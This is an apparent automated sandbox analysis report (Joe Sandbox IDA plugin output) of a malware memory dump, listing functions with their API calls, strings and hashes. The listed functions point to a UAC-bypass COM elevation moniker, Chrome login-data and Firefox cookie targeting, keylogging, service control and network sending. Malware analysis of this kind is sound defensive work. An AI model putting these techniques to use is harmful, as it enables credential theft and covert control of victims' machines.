                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Object_wcslen
                      • String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                      • API String ID: 240030777-3166923314
                      • Opcode ID: c58fb5e2275a5e844cecf76189ae7002021d5fd77b9420cad953500b1bf3d6e9
                      • Instruction ID: 36c1a35fc662e139fbe0c3856e6c09b73c1590006896ac343f6f9e6a2f87480d
                      • Opcode Fuzzy Hash: c58fb5e2275a5e844cecf76189ae7002021d5fd77b9420cad953500b1bf3d6e9
                      • Instruction Fuzzy Hash: 1D115172D04218BAD710E6959C45ADEB7A89B08714F15007BF904B2282E77CAA4486BA
                      Function 0041A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,004758E8), ref: 0041A75E
                      • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 0041A7AD
                      • GetLastError.KERNEL32 ref: 0041A7BB
                      • EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 0041A7F3
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: EnumServicesStatus$ErrorLastManagerOpen
                      • String ID:
                      • API String ID: 3587775597-0
                      • Opcode ID: 6acfec477c33960adb53ca531a04b71f608e95b4af76d4dccda85eb8d0b50c1e
                      • Instruction ID: 0905bbee584710e72bd43cf86ffd47af08151029a50ddcda7611e9b1cb6672f7
                      • Opcode Fuzzy Hash: 6acfec477c33960adb53ca531a04b71f608e95b4af76d4dccda85eb8d0b50c1e
                      • Instruction Fuzzy Hash: A1815F71104305ABC304EB61D885DAFB7A8FF94749F50092FF585521A2EF78EE48CB9A
                      Function 00452610 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 188COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                        • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                        • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                        • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                      • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0045271C
                      • IsValidCodePage.KERNEL32(00000000), ref: 00452777
                      • IsValidLocale.KERNEL32(?,00000001), ref: 00452786
                      • GetLocaleInfoW.KERNEL32(?,00001001,lJD,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 004527CE
                      • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 004527ED
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                      • String ID: lJD$lJD$lJD
                      • API String ID: 745075371-479184356
                      • Opcode ID: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                      • Instruction ID: 5597d49bf91f8be5c1e88387600e3254545b136a20640e737b6730ed74bf2304
                      • Opcode Fuzzy Hash: be4990bb79c05073f0fe7f4ee341d14c88f356d0bde4897ead87a4f5288e3279
                      • Instruction Fuzzy Hash: 87518371900205ABDF10DFA5CD41ABF77B8AF19702F14047BFD04E7292E7B899488B69
                      Function 0040C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 0040C39B
                      • FindNextFileW.KERNEL32(00000000,?), ref: 0040C46E
                      • FindClose.KERNEL32(00000000), ref: 0040C47D
                      • FindClose.KERNEL32(00000000), ref: 0040C4A8
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Find$CloseFile$FirstNext
                      • String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
                      • API String ID: 1164774033-405221262
                      • Opcode ID: 66fe6d6053e6612d2a3ee79fceeb28f858ac6dc921cc8d7f836653099c7867af
                      • Instruction ID: 975c513e22faa42ee1994afe11ceef4a5d9ff9fa3a88a4f7cb3cdca8b35e8719
                      • Opcode Fuzzy Hash: 66fe6d6053e6612d2a3ee79fceeb28f858ac6dc921cc8d7f836653099c7867af
                      • Instruction Fuzzy Hash: 4131513150021AA6CB14E7A1DC9ADFE7778AF10718F10017FB105B20D2EF789A49CA4D
                      Function 0041C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2EC
                      • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C31C
                      • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C38E
                      • DeleteFileW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C39B
                        • Part of subcall function 0041C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C371
                      • GetLastError.KERNEL32(?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3BC
                      • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D2
                      • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3D9
                      • FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C3E2
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                      • String ID:
                      • API String ID: 2341273852-0
                      • Opcode ID: 7754893f2187ba533a154fe4103e102bcae7ebd53560a2043af222d2c338aa0a
                      • Instruction ID: c19bc5cae20e4253aafd1d57f534f4f4794eeb6ee7264df4fdb3445c687e6cd6
                      • Opcode Fuzzy Hash: 7754893f2187ba533a154fe4103e102bcae7ebd53560a2043af222d2c338aa0a
                      • Instruction Fuzzy Hash: 1331827294031CAADB24E7A1DC88EDB736CAF04305F4405FBF955D2152EB39DAC88B68
                      Function 00419AF5 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                      Download Yara Rule
                      APIs
                      • FindFirstFileW.KERNEL32(00000000,?), ref: 00419D4B
                      • FindNextFileW.KERNEL32(00000000,?,?), ref: 00419E17
                        • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$Find$CreateFirstNext
                      • String ID: 8SG$PXG$PXG$NG$PG
                      • API String ID: 341183262-3812160132
                      • Opcode ID: 017f8b3c9935a72b6b7e8b3a5d44b9e0f278d36220239ad3bc09cc5216fc1c5a
                      • Instruction ID: 96038134cf9b6260143958ba34f432c8b7c7433700823f8ab46a3e18139dd1a2
                      • Opcode Fuzzy Hash: 017f8b3c9935a72b6b7e8b3a5d44b9e0f278d36220239ad3bc09cc5216fc1c5a
                      • Instruction Fuzzy Hash: D48152315083415AC314FB22C856EEFB3A9AF90344F90493FF546671E2EF789A49C69A
                      Function 0040A3E0 Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                      • String ID:
                      • API String ID: 1888522110-0
                      • Opcode ID: cc4c28d987af9ed77b60558391ff2640f7f7fc81cb6ffa0e765e100d0ff3e66e
                      • Instruction ID: 5ff565fa5b8df07833abad56ec5ecbabe923af01fc99f1944a330f9e709d98a3
                      • Opcode Fuzzy Hash: cc4c28d987af9ed77b60558391ff2640f7f7fc81cb6ffa0e765e100d0ff3e66e
                      • Instruction Fuzzy Hash: AE316D72504308FFD710DF94DC45F9BB7ECAB88705F01083AB645D61A0E7B5E9488BA6
                      Function 00413FCA Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • RegCreateKeyExW.ADVAPI32(00000000), ref: 0041409D
                      • RegCloseKey.ADVAPI32(?), ref: 004140A9
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      • LoadLibraryA.KERNEL32(Shlwapi.dll), ref: 0041426A
                      • GetProcAddress.KERNEL32(00000000), ref: 00414271
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressCloseCreateLibraryLoadProcsend
                      • String ID: SHDeleteKeyW$Shlwapi.dll
                      • API String ID: 2127411465-314212984
                      • Opcode ID: 45c2350e7e295625bd4dac20ddbecf348a3a6cbee010952884366c1c3e89a588
                      • Instruction ID: ad322413622673165c78a8c4b5f48079e939d646f467ca97d3bec1feacf55119
                      • Opcode Fuzzy Hash: 45c2350e7e295625bd4dac20ddbecf348a3a6cbee010952884366c1c3e89a588
                      • Instruction Fuzzy Hash: F9B1F971A0430066CA14FB76DC5B9AF36A86FD1748F40053FF942771E2EE7C9A4886DA
                      Function 00449190 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 00449212
                      • _free.LIBCMT ref: 00449236
                      • _free.LIBCMT ref: 004493BD
                      • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                      • _free.LIBCMT ref: 00449589
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ByteCharMultiWide$InformationTimeZone
                      • String ID:
                      • API String ID: 314583886-0
                      • Opcode ID: 9cd240c025cd7d498dafe0f0be125a30ff36c68caa35d7d10d4c95a756b7505e
                      • Instruction ID: 779aab753f07af14b01adf3fce5c8211df4e7f9331a35af1166ddbde82723190
                      • Opcode Fuzzy Hash: 9cd240c025cd7d498dafe0f0be125a30ff36c68caa35d7d10d4c95a756b7505e
                      • Instruction Fuzzy Hash: CAC15771900205ABFB24DF69CC41AAFBBA8EF46314F1405AFE89497381E7788E42D758
                      Function 004167B4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00417952: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                        • Part of subcall function 00417952: OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                        • Part of subcall function 00417952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                        • Part of subcall function 00417952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                        • Part of subcall function 00417952: GetLastError.KERNEL32 ref: 0041799D
                      • ExitWindowsEx.USER32(00000000,00000001), ref: 00416856
                      • LoadLibraryA.KERNEL32(PowrProf.dll), ref: 0041686B
                      • GetProcAddress.KERNEL32(00000000), ref: 00416872
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                      • String ID: !D@$PowrProf.dll$SetSuspendState
                      • API String ID: 1589313981-2876530381
                      • Opcode ID: 808f25f0b35ca0a049c08b025eaa36e97cdb378869ef4b72705573af330ecb01
                      • Instruction ID: 15d3ae9bc4d358b9de40311b9e813ebd0b85961e95f80c383f5c7d57e5fc9640
                      • Opcode Fuzzy Hash: 808f25f0b35ca0a049c08b025eaa36e97cdb378869ef4b72705573af330ecb01
                      • Instruction Fuzzy Hash: 6E21617060430256CB14FBB68856AAE63599F41788F41487FB442A72D3EF3CD845CBAE
                      Function 0045243C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLocaleInfoW.KERNEL32(00000000,2000000B,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524D5
                      • GetLocaleInfoW.KERNEL32(00000000,20001004,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524FE
                      • GetACP.KERNEL32(?,?,0045275B,?,00000000), ref: 00452513
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: InfoLocale
                      • String ID: ACP$OCP$['E
                      • API String ID: 2299586839-2532616801
                      • Opcode ID: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                      • Instruction ID: 65f7b5195a5790e2d5819d7d4b0c6b76a8aa59636dcad79128a037cfc813d78c
                      • Opcode Fuzzy Hash: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                      • Instruction Fuzzy Hash: FD21F432600104A7DB348F54CF00AA773A6EB47B1AB168567EC09D7302F7BADD48C398
                      Function 0040BA12 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                      Download Yara Rule
                      APIs
                      • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA4E
                      • GetLastError.KERNEL32 ref: 0040BA58
                      Strings
                      • [Chrome StoredLogins not found], xrefs: 0040BA72
                      • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA19
                      • [Chrome StoredLogins found, cleared!], xrefs: 0040BA7E
                      • UserProfile, xrefs: 0040BA1E
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DeleteErrorFileLast
                      • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                      • API String ID: 2018770650-1062637481
                      • Opcode ID: 008ec232383838ba67865b61595300985ebead86482bee1f0298aab426d5d3e8
                      • Instruction ID: af402a2c9819bc64f7c9913ab42ffc044d60d1b3c88a69bbc3d4df1d4d30a246
                      • Opcode Fuzzy Hash: 008ec232383838ba67865b61595300985ebead86482bee1f0298aab426d5d3e8
                      • Instruction Fuzzy Hash: 2D01A7B17801056AC70477B6CD5B9BE77249911704F50057FF802725E2FE7D59098ADE
                      Function 00417952 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON
                      Download Yara Rule
                      APIs
                      • GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                      • OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                      • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                      • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                      • GetLastError.KERNEL32 ref: 0041799D
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                      • String ID: SeShutdownPrivilege
                      • API String ID: 3534403312-3733053543
                      • Opcode ID: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                      • Instruction ID: b599e5caaba2c857c5a7044ea86e3d1b9a306509f9612008a7a3a71442eb1233
                      • Opcode Fuzzy Hash: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                      • Instruction Fuzzy Hash: 1EF03AB1801229FBDB109BA0EC4DEEF7FBCEF05612F100461B809A1092D7388E04CAB5
                      Function 00409253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                      Download Yara Rule
                      APIs
                      • __EH_prolog.LIBCMT ref: 00409258
                        • Part of subcall function 004048C8: connect.WS2_32(FFFFFFFF,00D14950,00000010), ref: 004048E0
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 004092F4
                      • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00409352
                      • FindNextFileW.KERNEL32(00000000,?), ref: 004093AA
                      • FindClose.KERNEL32(00000000), ref: 004093C1
                        • Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                        • Part of subcall function 00404E26: SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                        • Part of subcall function 00404E26: CloseHandle.KERNEL32(?), ref: 00404E4C
                      • FindClose.KERNEL32(00000000), ref: 004095B9
                        • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(00000000,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                        • Part of subcall function 00404AA1: SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
                      • String ID:
                      • API String ID: 1824512719-0
                      • Opcode ID: 6cad6af0f329120c81c925ac196a2686bd147d6e8b43e11fbd3a5bfa6db4d0ce
                      • Instruction ID: 125c9cc0036adb3739497efb01147483584b5989e706bb19fe9a4109aadf0594
                      • Opcode Fuzzy Hash: 6cad6af0f329120c81c925ac196a2686bd147d6e8b43e11fbd3a5bfa6db4d0ce
                      • Instruction Fuzzy Hash: DCB18D32900109AACB14EBA1DD96AED7779AF04318F10417FF506B60E2EF785E49CB98
                      Function 0041AA4A Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A6A0,00000000), ref: 0041AA53
                      • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A6A0,00000000), ref: 0041AA68
                      • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA75
                      • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A6A0,00000000), ref: 0041AA80
                      • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA92
                      • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA95
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandle$Open$ManagerStart
                      • String ID:
                      • API String ID: 276877138-0
                      • Opcode ID: 55aea4e01c19578bfbdca94b163ddb40001bd342cd849d2c6829f49351802c7e
                      • Instruction ID: 9fefcdd13c5f6832e1e8d6374d810b05479d45f16fba084c356bea358aebaaee
                      • Opcode Fuzzy Hash: 55aea4e01c19578bfbdca94b163ddb40001bd342cd849d2c6829f49351802c7e
                      • Instruction Fuzzy Hash: FCF08971101325AFD2119B619C88DFF2B6CDF85BA6B00082AF945921919B68CD49E9B9
                      Function 0041B4A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                      Download Yara Rule
                      APIs
                      • FindResourceA.KERNEL32 ref: 0041B4B9
                      • LoadResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4CD
                      • LockResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4D4
                      • SizeofResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4E3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Resource$FindLoadLockSizeof
                      • String ID: SETTINGS
                      • API String ID: 3473537107-594951305
                      • Opcode ID: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                      • Instruction ID: 65170a014006dd87783428e4339c5f85687a52ee3761dac8d56b05c0676c202a
                      • Opcode Fuzzy Hash: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                      • Instruction Fuzzy Hash: 8AE01A36200B22EBEB311BA5AC4CD473E29F7C97637100075F90596232CB798840DAA8
                      Function 00409665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                      Download Yara Rule
                      APIs
                      • __EH_prolog.LIBCMT ref: 0040966A
                      • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 004096E2
                      • FindNextFileW.KERNEL32(00000000,?), ref: 0040970B
                      • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00409722
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Find$File$CloseFirstH_prologNext
                      • String ID:
                      • API String ID: 1157919129-0
                      • Opcode ID: 00f782369a89d33849f7f6744ff3d95afce15a7ce25431a6756746a16509b34f
                      • Instruction ID: bc6583c976318a9931a9d4e75bf6093b5b8d8c817350453c5398c0af4fd679c1
                      • Opcode Fuzzy Hash: 00f782369a89d33849f7f6744ff3d95afce15a7ce25431a6756746a16509b34f
                      • Instruction Fuzzy Hash: 59812B329001199BCB15EBA1DC969EDB378AF14318F10417FE506B71E2EF78AE49CB58
                      Function 0040880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                      Download Yara Rule
                      APIs
                      • __EH_prolog.LIBCMT ref: 00408811
                      • FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                      • __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                      • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                      • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A15
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
